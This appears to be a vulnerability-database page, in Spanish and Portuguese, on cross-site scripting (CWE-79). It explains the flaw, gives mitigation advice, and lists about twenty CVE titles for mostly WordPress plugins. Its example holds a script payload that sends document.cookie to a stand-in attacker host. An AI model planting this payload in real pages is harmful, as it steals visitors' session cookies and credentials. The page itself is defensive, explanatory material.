Fallos del tipo CWE-79

30.283 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13467MEDIUMWP Contact Form7 Email Spam Blocker <= 1.0.0 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-27293HIGHWordPress Shipmozo Courier Tracking plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-11807MEDIUMNPS computy <= 2.8.0 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-27289HIGHWordPress Restrict Taxonomies Plugin <= 1.3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32522HIGHWordPress License Manager for WooCommerce plugin <= 3.0.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-35399HIGHWeGIA has Stored XSS in backup file namesEPSS 0.3%CVE-2025-6509MEDIUMseaswalker spring-analysis SimpleController.java echo cross site scriptingEPSS 0.3%CVE-2025-23531HIGHWordPress RSVPMaker Volunteer Roles plugin <= 1.5.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-32670HIGHWordPress Spark GF Failed Submissions plugin <= 1.3.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-27309HIGHWordPress flickr-slideshow-wrapper Plugin <= 5.4.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-27417MEDIUMWeGIA Contains a Stored Cross-Site Scripting (XSS) in 'adicionar_status_atendido.php' via the 'status' parameterEPSS 0.3%CVE-2025-62659LOWThe CookieConsent extension does not properly use reserved data attributes, thus introducing potential XSS vectorsEPSS 0.3%CVE-2025-27314HIGHWordPress Kush Micro News Plugin <= 1.6.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31006HIGHWordPress Activity Reactions For Buddypress plugin <= 1.0.22 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-3809HIGHDebug Log Manager <= 2.3.4 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-32527HIGHWordPress T&P Gallery Slider plugin <= 1.2 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-50409MEDIUMWordPress Namaste! LMS plugin <= 2.6.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-27499MEDIUMWeGIA has a stored Cross-Site Scripting (XSS) in 'processa_edicao_socio.php' via the 'socio_nome' parameterEPSS 0.3%CVE-2025-32514HIGHWordPress WooCommerce Estimate and Quote plugin <= 1.0.2.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24621HIGHWordPress Arconix Shortcodes plugin <= 2.1.15 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%